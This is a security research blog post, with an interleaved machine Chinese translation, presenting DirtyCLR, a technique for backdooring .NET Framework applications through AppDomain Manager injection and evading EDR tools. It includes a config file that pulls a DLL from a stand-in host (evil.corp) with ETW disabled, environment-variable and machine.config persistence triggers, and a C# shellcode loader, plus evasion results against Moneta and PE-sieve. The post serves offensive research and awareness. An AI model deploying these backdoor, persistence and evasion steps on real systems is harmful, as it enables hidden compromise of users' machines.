This research has been possibile with the support of Shielder who has sponsored it with the goal to discover new ways of blend-in within legitimate applications and raise awareness about uncovered sophisticated attack venues, contributing to the security of the digital ecosystem. Shielder invests from 25% to 100% of employees time into Security Research and R&D, whose output can be seen in its advisories and blog. If you like the type of research that is being published, and you would like to uncover unexplored attacks and vulnerabilities, do not hesitate to reach out.
这项研究在 Shielder 的支持下成为可能,Shielder 赞助了它,目标是发现在合法应用程序中融合的新方法,并提高对未发现的复杂攻击场所的认识,从而为数字生态系统的安全做出贡献。Shielder 将 25% 到 100% 的员工时间投入到安全研究和研发中,其成果可以在其咨询和博客中看到。如果您喜欢正在发表的研究类型,并且想发现未探索的攻击和漏洞,请随时联系我们。
Introduction 介绍
As EDR are becoming more and more sophisticated and difficult to bypass, the opportunity to blend-in within legitimate application behavior appears to be an interesting vector to remain undetected. This research started a couple of years back during my initial days of trying to bypass EDRs (without really understanding how and why things were working in a certain way) after stumbling upon a @MrUn1k0d3r episode on which he explained a really cool .NET appdomain trick. By leveraging some previous existing researches and PoCs and standing on the shoulder of giants I’ve come up with an extra cool fashion way to backdoor and abuse .NET Framework applications and created DirtyCLR, a managed DLL on steroids that can execute a shellcode with a clean thread call stack and without directly calling any Windows API.
随着 EDR 变得越来越复杂且难以绕过,混入合法应用程序行为的机会似乎是一个有趣的载体,不会被发现。这项研究始于几年前,当时我试图绕过 EDR(没有真正理解事情是如何以及为什么以某种方式工作的),当时他偶然发现了一个@MrUn1k0d3r插曲,他解释了一个非常酷的 .NET appdomain 技巧。通过利用一些以前的现有研究和 PoC,并站在巨人的肩膀上,我想出了一种更酷的时尚方法来后门和滥用 .NET Framework 应用程序,并创建了 DirtyCLR,这是一个基于类固醇的托管 DLL,可以使用干净的线程调用堆栈执行 shellcode,而无需直接调用任何 Windows API。
App Domain Manager Injection
应用域管理器注入
To backdoor .NET Framework applications we’re going to abuse a very well-known technique: App Domain Manager Injection
. This technique, initially discovered by Casey Smith (aka subTee) in 2017, allows to inject a custom ApplicationDomain that will execute arbitrary code inside the target application process. Despite his original PoC has been deleted you can still find it in GitHub thanks to a fork published by TheWover. Without having to dive too much into the details (if you’ve never heard of such technique go check out NetbiosX and Rapid7 blogposts), what we are interested in is the possibility to trigger any .NET Framework application to load an arbitrary managed DLL located on disk or remotely in a website.
为了后门 .NET Framework 应用程序,我们将滥用一种非常著名的技术: App Domain Manager Injection
.这种技术最初由 Casey Smith(又名 subTee)在 2017 年发现,它允许注入一个自定义 ApplicationDomain,该域将在目标应用程序进程中执行任意代码。尽管他原来的 PoC 已被删除,但由于 TheWover 发布的一个分支,您仍然可以在 GitHub 中找到它。无需深入研究细节(如果您从未听说过这种技术,请查看 NetbiosX 和 Rapid7 博客文章),我们感兴趣的是触发任何 .NET Framework 应用程序加载位于磁盘上或远程网站中的任意托管 DLL 的可能性。
An extremely simplified DLL to be used as a PoC could be written as follows:
用作 PoC 的极其简化的 DLL 可以编写如下:
using System;
using System.Diagnostics;
public sealed class MyAppDomain : AppDomainManager
{
public override void InitializeNewDomain(AppDomainSetup appDomainInfo)
{
System.Windows.Forms.MessageBox.Show("Hello From: " + Process.GetCurrentProcess().ProcessName);
return;
}
}
The two main values that we’re most interested in are the MyAppDomain
extended class and the C# filename (e.g. AppDomInject.cs
) as those values will be respectively used into the appDomainManagerType
and appDomainManagerAssembly
tags/variables in our trigger methods.
我们最感兴趣的两个主要值是 MyAppDomain
扩展类和 C# 文件名(例如 AppDomInject.cs
),因为这些值将分别用于触发器方法中的 appDomainManagerType
和 appDomainManagerAssembly
tags/变量。
Talking about trigger methods, to elicit our target .NET Framework application to load our arbitrary managed DLL we can abuse two of those:
谈到触发器方法,为了引出我们的目标 .NET Framework 应用程序来加载我们的任意托管 DLL,我们可以滥用其中两个:
- Using a
.config
XLM file
使用.config
XLM 文件 - Setting up some enviromental variables
设置一些环境变量
The first method, as long we have write privileges over the file or folder, allows us to (over)write a .config
file placed in the same folder on which the application resides. For example if we want to target an application called DemoApp.exe
located in C:\Temp
we should write or modify a DemoApp.exe.config
file placed in the same application folder.
第一种方法,只要我们对文件或文件夹具有写入权限,就可以(覆盖)放置在应用程序所在的同一文件夹中 .config
的文件。例如,如果我们想以一个名为 DemoApp.exe
located in C:\Temp
的应用程序为目标,我们应该编写或修改放置在 DemoApp.exe.config
同一应用程序文件夹中的文件。
A good and huge list of Microsoft signed applications, recently published by MrUn1k0d3r, can be found here and used for this purpose.
MrUn1k0d3r最近发布的大量Microsoft签名应用程序可以在这里找到并用于此目的。
Even though the .config
file could contain several informations we’re going to trigger our target application to download our DLL from an URL (which will be placed by the runtime on a .NET cache folder) and to disable a bunch of ETW events to better hide from an EDR analyzing our target application process. To do so we have to construct the following XML file:
尽管 .config
该文件可能包含多个信息,但我们仍将触发目标应用程序从 URL(该 URL 将由运行时放置在 .NET 缓存文件夹中)下载 DLL,并禁用一堆 ETW 事件,以更好地隐藏分析目标应用程序进程的 EDR。为此,我们必须构造以下 XML 文件:
<configuration>
<runtime>
<assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
<dependentAssembly>
<assemblyIdentity name="test" publicKeyToken="d34db33fd34db33f" culture="neutral" />
<codeBase version="1.0.0.0" href="https://evil.corp/AppDomInject.dll"/>
</dependentAssembly>
</assemblyBinding>
<etwEnable enabled="false" />
<appDomainManagerAssembly value="AppDomInject, Version=1.0.0.0, Culture=neutral, PublicKeyToken=d34db33fd34db33f" />
<appDomainManagerType value="MyAppDomain" />
</runtime>
</configuration>
Keep in mind that while using the codeBase element we should sign our DLL to allows the runtime to reference assemblies outside the application’s root directory. Moreover, to extract the publicKeyToken
value we should run the following PowerShell command once we have compiled the AppDomInject
DLL:
请记住,在使用 codeBase 元素时,我们应该对 DLL 进行签名,以允许运行时引用应用程序根目录之外的程序集。此外,要提取 publicKeyToken
值,我们应该在编译 AppDomInject
DLL 后运行以下 PowerShell 命令:
$path = Join-Path (Get-Item .).Fullname 'AppDomInject.dll'; ([system.reflection.assembly]::loadfile($path)).FullName
In case we don’t want to (over)write a .config
file we can use the second trigger method to load our DLL placed in the root directory or any subdirectories having the same assembly name (AppDomInject
) or provided culture information, as specified here, by setting the following three environmental variables:
如果我们不想(过度)写入文件 .config
,我们可以使用第二种触发器方法来加载放置在根目录或具有相同程序集名称 ( AppDomInject
) 或提供的区域性信息的任何子目录中的 DLL,如此处指定,方法是设置以下三个环境变量:
set APPDOMAIN_MANAGER_ASM=AppDomInject, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
set APPDOMAIN_MANAGER_TYPE=MyAppDomain
// target .NET Framework version
set COMPLUS_Version=v4.0.30319
While doing this research I’ve also discovered a third trigger method that could potentially be used both as a persistence and lateral movement technique, with the only constraint of having local admin privileges over the target machine: machine.config
files. These files are special .config
XML files residing in the Config
subdirectory of the root directory where the runtime is installed (e.g.; C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config
) and contains settings that apply to an entire computer. That means that by simply modifying the <runtime />
tag within a machine.config
file, with the same content of our .config
XML file trigger method, we can force any .NET Framework application installed on the system to load our arbitrary DLL at startup.
在进行这项研究时,我还发现了第三种触发方法,它既可以用作持久性技术,也可以用作横向移动技术,唯一的限制是对目标计算机具有本地管理员权限: machine.config
文件。这些文件是特殊的 .config
XML文件,位于安装运行时的根目录的 Config
子目录中(例如; C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config
),并包含适用于整台计算机的设置。这意味着,只需修改 machine.config
文件中的 <runtime />
标记,使用 .config
与XML文件触发器方法相同的内容,我们就可以强制系统上安装的任何.NET Framework应用程序在启动时加载任意DLL。
Keep in mind that backdooring applications via machine.config
files will execute multiple shellcodes. To avoid this behavior you would need to use some kind of guardrail (e.g; a mutex).
请记住,通过 machine.config
文件后门应用程序将执行多个 shellcode。为了避免这种行为,您需要使用某种护栏(例如,互斥锁)。
Understanding .NET Memory Artifacts
了解 .NET 内存项目
To better understand what could be the main advantages of backdooring .NET Framework applications and abusing legitimate .NET functionalities and behaviors we first need to understand the difference between a legitimate memory artifacts within the Windows OS and the ones generated by .NET and JIT processes. If you want to deep dive on the argument a great explanation of those differences can be found on the three-part blog post series Masking Malicious Memory Artifacts written by Forrest Orr. For the sake of this research the main point of interest is related to memory regions categorized as private
, which is a specific memory category in Windows related to memory allocated on the Stack
or dynamically on the Heap
, hence allocated with NtAllocateVirtualMemory
.
为了更好地理解后门 .NET Framework 应用程序和滥用合法 .NET 功能和行为的主要优势是什么,我们首先需要了解 Windows 操作系统中的合法内存项目与 .NET 和 JIT 进程生成的内存项目之间的区别。如果您想深入研究这个论点,可以在 Forrest Orr 撰写的三部分博客文章系列中找到对这些差异的很好的解释:屏蔽恶意内存工件。为了便于本研究,主要兴趣点与分类为 private
的内存区域有关,它是 Windows 中与 上或动态上分配 Stack
的内存相关的特定内存类别 Heap
,因此分配了 NtAllocateVirtualMemory
。
If you’re familiar with dynamically allocated memory you should know that those memory regions are normally allocated as Read-Write (RW)
by modern Operating Systems. On the other hand, JIT processes tends to allocate and use a lot of dynamically allocated memory on the Heap
, normally managed by Garbage Collectors
, but with Read-Write-Execute (RWX)
protection flags. This gives a great opportunity to attackers to blend-in within those process memory region space and potentially fly undetected by memory scanners, by masquerading themselves within False-Positives or even being filtered out by some of those.
如果您熟悉动态分配的内存,您应该知道这些内存区域通常由 Read-Write (RW)
现代操作系统分配。另一方面,JIT 进程倾向于在 Heap
上分配和使用大量动态分配的内存,通常由 Garbage Collectors
管理,但带有 Read-Write-Execute (RWX)
保护标志。这为攻击者提供了一个很好的机会,可以混入这些进程内存区域空间,并可能在未被内存扫描程序检测到的情况下飞行,将自己伪装在误报中,甚至被其中一些人过滤掉。
An example of this behavior can be seen in Figure 1
while scanning a benign .NET Framework application with Moneta, returning a lot of memory IoCs including, among others, several abnormal private exutable memory regions
. As specified by Forrest all of those IoCs are in fact False-Positives generate by the Common Language Runtime (CLR)
, which tends to allocate big chunks of RWX
memory regions both during its initialization phase and on runtime. To filters out all of those IoCs Forrest implemented the clr-heap
and clr-prvx
flags, which you can see in action on the bottom part of the same image, showing no memory IoCs on the same benign SimpleDotNet.exe
application.
在使用 Moneta 扫描良性 .NET Framework 应用程序 Figure 1
时,可以看到此行为的一个示例,该应用程序返回了大量内存 IoC,其中包括几个 abnormal private exutable memory regions
.正如 Forrest 所指出的,所有这些 IoC 实际上都是由 Common Language Runtime (CLR)
生成的误报,它倾向于在其初始化阶段和运行时分配大块 RWX
内存区域。为了过滤掉所有这些 IoC,Forrest 实现了 clr-heap
and clr-prvx
标志,您可以在同一图像的底部看到这些标志,在同一良性 SimpleDotNet.exe
应用程序上没有显示内存 IoC。
Figure 1 – Running Moneta on a begning .NET Framework application with and without filters
图 1 – 在带和不带过滤器的乞求 .NET Framework 应用程序上运行 Moneta
Another great example of how difficult appears to obtain actual True-Positives while scanning .NET applications can be found also in PE-sieve. Despite its greater capabilities on identifying suspicious behaviors thanks to its shellcode and thread call stack analysis, as we’ll see later in this blogpost, PE-sieve
also tends to reports a significant amount of False-Positives or ignores .NET modules on some scanning capabilities, such as headers scanning.
另一个很好的例子,说明在扫描 .NET 应用程序时获得实际的真阳性似乎是多么困难,也可以在 PE-sieve 中找到。尽管由于其 shellcode 和线程调用堆栈分析,它在识别可疑行为方面具有更强大的能力,但正如我们将在本博客文章后面看到的那样,它 PE-sieve
也倾向于报告大量误报或忽略某些扫描功能(例如标头扫描)的 .NET 模块。
Using Unsafe Gadgets 使用不安全的小工具
At the moment we can only backdoor .NET Framework applications, blending within their default behavior and traffic, and bypass some ETW events thanks to the .config
file <etwEnable>
element. As we’re interested on building up a managed DLL that flies under the radar we need to find also a way to avoid calling any Windows API and potentially have a clean thread call stack to drastically lower the chances of getting caught. To partially solve the first problem we can leverage an old research called Weird Ways to Run Unmanaged Code in .NET, written by Adam Chester (@xpn). By looking at NautilusProject and his blogpost we can identify two very interesting and uncommon ways of leveraging .NET for offensive purposes:
目前,我们只能对 .NET Framework 应用程序进行后门,在其默认行为和流量中混合,并通过 .config
file <etwEnable>
元素绕过一些 ETW 事件。由于我们有兴趣构建一个不为人知的托管 DLL,因此我们还需要找到一种方法来避免调用任何 Windows API,并可能有一个干净的线程调用堆栈,以大大降低被捕获的机会。为了部分解决第一个问题,我们可以利用 Adam Chester (@xpn) 撰写的一项名为“在 .NET 中运行非托管代码的奇怪方法”的旧研究。通过查看 NautilusProject 和他的博客文章,我们可以确定两种非常有趣且不常见的利用 .NET 进行攻击的方法:
- Hijacking JIT Compilation
劫持JIT编译 - Using InternalCall and QCall gadgets
使用 InternalCall 和 QCall 小工具
Despite being both a very clever solution to execute some unmanaged code in .NET, we can’t just implement a managed DLL for App Domain Manager Injection
using NautilusProject
as-is. This is mainly due to the following two issues that I have encountered while playing around with it:
尽管在 .NET 中执行一些非托管代码是一个非常聪明的解决方案,但我们不能只实现托管 DLL 来 App Domain Manager Injection
按原样使用 NautilusProject
。这主要是由于我在玩它时遇到的以下两个问题:
-
Despite the similarities between CoreCLR and the .NET Framework,
NautilusProject
has been mainly tested inNET 5.0
. As we’re interested on having a DLL PoC forApp Domain Manager Injection
we can solely rely on the .NET Framework, as the AppDomainManager class is not supported by any other .NET platform/version. Moreover, the hijack process targets some internal .NET structures, which is not ideal as those might, and have been, modified over time; Therefore, we might get unreliable results and/or crashes while using it in different platforms and versions. Fortunately enough, we can still use the Read and Write gadgets along the CopyMemory wrapper function to avoid directly calling any Windows API when trying to read/write process memory.
尽管 CoreCLR 和 .NET Framework 之间有相似之处,NautilusProject
但主要在NET 5.0
.由于我们对拥有 DLL PoC 感兴趣,App Domain Manager Injection
因此我们可以完全依赖 .NET Framework,因为任何其他 .NET 平台/版本都不支持 AppDomainManager 类。此外,劫持过程针对一些内部 .NET 结构,这些结构并不理想,因为这些结构可能会随着时间的推移而修改;因此,在不同的平台和版本中使用它时,我们可能会得到不可靠的结果和/或崩溃。幸运的是,我们仍然可以在 CopyMemory 包装器函数中使用读取和写入小工具,以避免在尝试读取/写入进程内存时直接调用任何 Windows API。Even though, for the sake of simplicity, I decided to reuse xpn
NautilusProject
gadgets it might be possible to abuse a different set of those, considering the amount present within ecalllist.h. -
Even if xpn came out with a solution to use
VirtualAlloc
without anyP/Invoke
reference we don’t want to directly call any type of Windows API, especially if related to memory allocation routines. This is mainly due to two reasons: to better blend-in within the legitimate behavior of backdoored .NET Framework applications, which might not use any unmanaged API at all in the first place, and to let the CLR allocate the memory using its default behavior, hiding from memory scanners and avoid being caught from a memory IoC perspective, as explained by forrest-orr.
即使 xpn 提出了一个无需任何P/Invoke
引用即可使用VirtualAlloc
的解决方案,我们也不想直接调用任何类型的 Windows API,尤其是在与内存分配例程相关的情况下。这主要是由于两个原因:为了更好地融入后门 .NET Framework 应用程序的合法行为,这些应用程序可能一开始就根本不使用任何非托管 API,并让 CLR 使用其默认行为分配内存,躲避内存扫描程序,并避免从内存 IoC 角度捕获。 正如 Forrest-Orr 所解释的那样。
By examiningFigure 2
, we can also identify another IoC resulting from the use of memory allocated withVirtualAlloc
: specifically, the presence of three unbacked memory regions at the start of the thread call stack during the execution of aMessageBox
shellcode
通过检查Figure 2
,我们还可以识别出另一个 IoC,这是由于使用以下分配的VirtualAlloc
内存而产生的:具体来说,在执行MessageBox
shellcode 期间,线程调用堆栈的开头存在三个无支持的内存区域
Figure 2 – Unbacked memory region on NautilusProject thread call stack
图 2 – NautilusProject 线程调用堆栈上的无支持内存区域
Double Delegate: Solving the JIT Hijack Problem
Double Delegate:解决 JIT 劫持问题
While thinking about how to solve all those problems, luckily enough, I stumbled upon this tweet by @daem0nc0re showing that a buffer returned by Marshal.GetFunctionPointerForDelegate has RWX
protection. To better understand why this is happening under the hood I started diving within a GitHub CoreCLR codebase fork, starting from the function definition within the CLR. As trying to make sense on all of it just by doing some easy and fast code review didn’t brought me any results, and led me to some very weird disclaimers written by developers, I decided to build a quick PoC called delegatetest
and debug it with Windbg.
在思考如何解决所有这些问题时,幸运的是,我偶然发现了这条推文,@daem0nc0re显示 Marshal.GetFunctionPointerForDelegate 返回的缓冲区具有 RWX
保护作用。为了更好地理解为什么会在后台发生这种情况,我开始潜入 GitHub CoreCLR 代码库分支,从 CLR 中的函数定义开始。由于试图通过做一些简单快速的代码审查来理解所有这些并没有给我带来任何结果,并且导致我看到了开发人员编写的一些非常奇怪的免责声明,我决定构建一个快速的 PoC 调用 delegatetest
并使用 Windbg 对其进行调试。
using System;
using System.Runtime.InteropServices;
namespace DelegateTest
{
class Program
{
public delegate void Callback();
static void Action() {}
static void Main()
{
Callback myAction = new Callback(Action);
IntPtr pMyAction = Marshal.GetFunctionPointerForDelegate(myAction);
Console.WriteLine("Address: 0x{0:X}", (long)pMyAction);
}
}
}
By looking at the thread call stack in Figure 3
we can have a clue on what is happening under the hood and observe how GetFunctionPointerForDelegateInternal
will call EEHeapAllocInProcessHeap.
通过查看线程调用堆栈, Figure 3
我们可以了解后台发生的情况,并观察如何 GetFunctionPointerForDelegateInternal
调用 EEHeapAllocInProcessHeap。
Figure 3 – delegatetest.exe thread call stack
图 3 – delegatetest.exe 线程调用堆栈
Analyzing EEHeapAllocInProcessHeap
code clearly shows how the method calls GetProcessHeap to get an handle to the Default Process Heap
, a 1MB heap memory region allocated by the OS during a process initialization, and then allocates some memory via HeapAlloc. Another evidence of default process heap usage can be seen in Figure 4
while analyzing the delegatetest
process memory with VMMap, observing a 8KB RWX buffer in Heap ID 0, the Default Process Heap
.
分析 EEHeapAllocInProcessHeap
代码清楚地显示了该方法如何调用 GetProcessHeap 来获取 的句柄,这是操作系统在进程初始化期间分配的 1MB 堆内存区域 Default Process Heap
,然后通过 HeapAlloc 分配一些内存。在使用 VMMap 分析进程内存 Figure 4
时,可以看到默认 delegatetest
进程堆使用情况的另一个证据,观察到堆 ID 0 中有一个 8KB RWX 缓冲区,即 Default Process Heap
.
Figure 4 – delegatetest.exe Default Process Heap allocation
If you’re into the Windows API you have already noticed that something doesn’t sum up: HeapAlloc
doesn’t set any memory protection flag. Therefore, this analysis doesn’t solve our question on why the returned buffer appears to be RWX. On the other hand, if we monitor RtlCreateHeap
and NtAllocateVirtualMemory
API calls under API Monitor, as in Figure 5
and Figure 6
, we can notice how an HeapCreate
call with RWX flags is done during the Garbage Collector initialization process (notice how we reached just the 45th API call). Once we move on with process execution (notice the 47th API call) a memory address within the same memory page is returned in the delegatetest
console output, as visible in Figure 7
.
I didn’t quite understand why the CLR decides to allocate RWX memory region on the defaulf process heap, shattering the default OS behavior which normally allocates just RW memory within it, but I suppose all of this might happen be due to some optimization process within the CLR logic. As I’m not sure about this I hope someone with much more expertise than me on the CLR internals might provide a better explanation of this weird behavior.
我不太明白为什么 CLR 决定在 defaulf 进程堆上分配 RWX 内存区域,从而破坏了通常只在其中分配 RW 内存的默认 OS 行为,但我想所有这些都可能是由于 CLR 逻辑中的一些优化过程。由于我不确定这一点,我希望在 CLR 内部方面比我更了解的人可以更好地解释这种奇怪的行为。
Figure 5 – RtlCreateHeap with RWX flag
图 5 – 带有 RWX 标志的 RtlCreateHeap
Figure 6 – RtlCreateHeap happening during GC_Initialize
图 6 – GC_Initialize期间发生的 RtlCreateHeap
Figure 7 – Memory address within the same RWX heap memory page
Having this understanding we can now try to execute a MessageBox
shellcode using the RWX buffer returned by GetFunctionPointerForDelegate
. To do this we can use a concept that I named, without too much imagination, Double Delegate
: wrapping our function pointer with another delegate right after overwriting its memory.
using System;
using System.Runtime.InteropServices;
namespace DelegateTest
{
class Program
{
public delegate void Callback();
public static void Action() {}
delegate void CallingDelegate();
static void Main()
{
// msfvenom msgbox here
var shellcode = new byte[] {0xfc,0x48,0x81,0xe4...}
// initialize our delegate and get its function pointer
Callback myAction = new Callback(Action);
IntPtr pMyAction = Marshal.GetFunctionPointerForDelegate(myAction);
// copy shellcode to delegate function pointer memory
Marshal.Copy(shellcode, 0, pMyAction, shellcode.Length);
// wrap function pointer doing a double delegate
CallingDelegate callingDelegate = Marshal.GetDelegateForFunctionPointer<CallingDelegate>(pMyAction);
// fire shellcode
callingDelegate();
}
}
}
EmitAlloc: Solving the VirtualAlloc Problem
EmitAlloc:解决 VirtualAlloc 问题
So, how do we avoid to directly call VirtualAlloc
and solve our second and last problem? Well, If we look again at daem0nc0re tweet, Dylan Tran provides us a very clever solution for this: using the .NET System.Reflection.Emit APIs to allocate an arbitrary amount of memory.
那么,我们如何避免直接调用 VirtualAlloc
和解决我们的第二个也是最后一个问题呢?好吧,如果我们再看一下 daem0nc0re 推文,Dylan Tran 为我们提供了一个非常聪明的解决方案:使用 .NET System.Reflection.Emit API 来分配任意数量的内存。
By looking at Dylan PoC we can see how this allows us to allocate an arbitrary amount of memory by repeateadly calling the EmitWriteLine method iterating over a byte count and subtracting 18 bytes from it at every cycle. This gives us a clue that, under the hood, what is happening is that the size of the dynamically generated method gets inflated by 18 bytes on every EmitWriteLine
method call, leading the CLR to allocate all the needed memory for the method once PrepareMethod gets called. As I wanted to understand how this solution works under the hood, and be sure if I could actually use it within DirtyCLR, I compiled Dylan’s PoC and dive right into Windbg once again.
通过查看 Dylan PoC,我们可以看到它如何允许我们通过重复调用 EmitWriteLine 方法,遍历字节计数并在每个周期从中减去 18 个字节来分配任意数量的内存。这为我们提供了一个线索,即在后台,正在发生的事情是,动态生成的方法的大小在每次 EmitWriteLine
方法调用时都会膨胀 18 个字节,从而导致 CLR 在调用 PrepareMethod 后为该方法分配所有所需的内存。由于我想了解这个解决方案在后台是如何工作的,并确定我是否真的可以在 DirtyCLR 中使用它,所以我编译了 Dylan 的 PoC 并再次深入研究 Windbg。
Mindful of the CLR memory allocation behavior observed during the GetFunctionPointerForDelegate
CLR analysis I wanted to verify if a similar behavior was in fact taking place also here. By analyzing, in a very tedious way, every NtAllocateVirtualMemory
API call occurring during the CLR initialization process and keeping track of the returned base address of the allocated memory region visible in the RDX
registry I end up correlating one of those with the memory address returned by the GenerateRWXMemory
function.
考虑到在 GetFunctionPointerForDelegate
CLR 分析期间观察到的 CLR 内存分配行为,我想验证是否确实也发生了类似的行为。通过以一种非常繁琐的方式分析在 CLR 初始化过程中发生的每个 NtAllocateVirtualMemory
API 调用,并跟踪 RDX
注册表中可见的已分配内存区域的返回基址,我最终将其中一个与 GenerateRWXMemory
函数返回的内存地址相关联。
To start, if we look at Figure 8
we can see a thread call stack containing three interesting frame indexes showing us how the CLR, during the DefaultDomain
initialization process, creates a CodeHeap , calls ClrVirtualAllocExecutable and ends up calling NtAllocateVirtualMemory
, returning the address 0x7FFEB33E0000
in little endian.
首先,如果我们看一下 Figure 8
,我们可以看到一个线程调用堆栈,其中包含三个有趣的帧索引,向我们展示了 CLR 如何在 DefaultDomain
初始化过程中创建一个 CodeHeap ,调用 ClrVirtualAllocExecutable 并最终调用 NtAllocateVirtualMemory
,以小端格式返回地址 0x7FFEB33E0000
。
Figure 8 – RWX memory allocation during the DefaultDomain initialization process
图8 – DefaultDomain初始化过程中的RWX内存分配
Moving on with process execution, and reaching the PrepareMethod
stage, we can see in Figure 9
how the CLR will retrieve the size of the inflated dynamically compiled method via emitEndCodeGen, and then allocates more executable memory for the new method through GetMoreCommitedPages, returning the address 0x7FFEB33E1000
.
继续进行进程执行,并到达 PrepareMethod
该阶段,我们可以看到 CLR Figure 9
将如何通过 emitEndCodeGen 检索膨胀的动态编译方法的大小,然后通过 GetMoreCommitedPages 为新方法分配更多可执行内存,返回地址 0x7FFEB33E1000
。
Reaching the end of process execution we can see in Figure 10
the GenerateRWXMemory
function returning the memory address 0x7FFEB33E0C50
, which in fact resides within the first memory page allocated by the CLR during the DefaultDomain
initialization process and will require more pages to be able to live in memory. This basically confirmed my suspicious about the CLR behaving similarly as during the GetFunctionPointerForDelegate
function execution.
到达进程执行的末尾,我们可以在 Figure 10
返回内存地址的 GenerateRWXMemory
函数中看到,该地址 0x7FFEB33E0C50
实际上驻留在 DefaultDomain
初始化过程中CLR分配的第一个内存页中,并且需要更多的页面才能存在于内存中。这基本上证实了我对 CLR 在 GetFunctionPointerForDelegate
函数执行期间的行为的怀疑。
Figure 9 – Allocating more memory page on the RWX memory region during PrepareMethod execution
图 9 – 在 PrepareMethod 执行期间在 RWX 内存区域上分配更多内存页面
Figure 10 – Memory address returned after the GenerateRWXMemory function execution
图 10 – GenerateRWXMemory 函数执行后返回的内存地址
DirtyCLR: Blend Within the .NET Framework and Live Free
DirtyCLR:融入 .NET Framework 并自由生活
Now that we have every piece of the puzzle we can put everything together and blend-in within the .NET Framework using DirtyCLR. Figure 11
and Figure 12
shows us a shellcode execution clean thread call stack of a backdoored RDCMan inspected with System Informer
(former Process Hacker
).
现在,我们已经掌握了所有难题,我们可以将所有内容放在一起,并使用 DirtyCLR 融入 .NET Framework 中。 Figure 11
并 Figure 12
向我们展示了一个后门 RDCMan 的 shellcode 执行干净线程调用堆栈,并使用 System Informer
(前) Process Hacker
进行检查。
Keep in mind that using DirtyCLR
to execute a C2 shellcode might get you detected if the beacon Reflective Loader doesn’t take care of its own OPSEC, creating new identifiable IoCs.
请记住,如果信标反射加载程序不处理自己的 OPSEC,则用于 DirtyCLR
执行 C2 shellcode 可能会检测到您,从而创建新的可识别 IoC。
Figure 11 – RDCMan.exe backdoored with DirtyCLR
图 11 – 使用 DirtyCLR 的 RDCMan.exe 后门程序
Figure 12 – DirtyCLR MessageBox shellcode execution with a clean thread call stack
Let’s also see how DirtyCLR
behaves against Moneta
, PE-sieve
and a top-tier EDR.
Moneta
Figure 13
shows us no IoCs coming from the backdoored application, while setting up the anti-false-positive CLR filters. This is common behavior shared with a lot of .NET applications but still allows us to perfectly blend-in within the CLR.
Figure 13 – No entries while scanning a backdoored RDCMan.exe with Moneta
图13 – 使用Moneta扫描后门RDCMan.exe时没有条目
PE-sieve PE筛
Even though PE-sieve
is capable of identifying suspicious behaviors, getting actionable response from it appears to be tricky and prone to errors, especially without a proper baseline of false-positives generate by non-backdoored, legitimate .NET Framework applications. To better articulate this lets have a look at Figure 14
showing us two Total suspicious
entries from a non-backdoored RDCMan
and compares it with Figure 15
containing a total of four entries. Even though we get two new entries, one being the actual MessageBox
shellcode, a blue teamer might not further investigating these entries, considering the amount of false-positive generated by default by the CLR.
尽管 PE-sieve
能够识别可疑行为,但从中获取可操作的响应似乎很棘手,并且容易出错,尤其是在没有由非后门合法 .NET Framework 应用程序生成的误报的适当基线的情况下。为了更好地阐明这一点,让我们看一下 Figure 14
向我们展示来自 Total suspicious
非后门的两个条目, RDCMan
并将其与 Figure 15
总共包含四个条目进行比较。尽管我们获得了两个新条目,一个是实际 MessageBox
的 shellcode,但考虑到 CLR 默认生成的误报量,蓝色团队成员可能不会进一步调查这些条目。
Figure 14 – PE-sieve scan on legitimate RDCMan.exe execution
图14 – 合法RDCMan.exe执行上的PE筛扫描
Figure 15 – PE-sieve scan on backdoored RDCMan.exe execution
图15 – 后门RDCMan.exe执行上的PE筛扫描
If we have a look at the PE-sieve
scan reports we can see it might become pretty hard to distinguish between the legitimate execution, in Figure 16
, from the backdoored one observable in Figure 17
and containing the actual MessageBox
shellcode in its first entry. Multiplies this for every .NET Framework application that might be used within an environment and the results of those scans might be easily overlooked.
如果我们看一下扫描报告,我们可以看到可能很难区分合法执行, PE-sieve
在 中,与后门执行,并在其第一个条目中 Figure 16
包含 Figure 17
实际 MessageBox
的 shellcode。对于可能在环境中使用的每个 .NET Framework 应用程序,将此值相乘,这些扫描的结果可能很容易被忽略。
Figure 16 – PE-sieve scan report on legitimate RDCMan.exe execution
图16 – 有关合法RDCMan.exe执行的PE-sieve扫描报告
Figure 17 – PE-sieve scan report on backdoored RDCMan.exe execution
图17 – 后门RDCMan.exe执行的PE筛扫描报告
PoC || GTFO 概念验证 ||走开
To easily see how DirtyCLR
behaves against a top-tier EDR let’s compare it with a vanilla .NET shellcode loader using P/Invoke
and a classic VirtualAlloc > Marshal.Copy > CreateThread
function execution flow.
为了轻松了解顶层 EDR 的行为方式 DirtyCLR
,让我们将其与使用 P/Invoke
经典 VirtualAlloc > Marshal.Copy > CreateThread
函数执行流的普通 .NET shellcode 加载器进行比较。
原文始发于ipslav:Let Me Manage Your AppDomain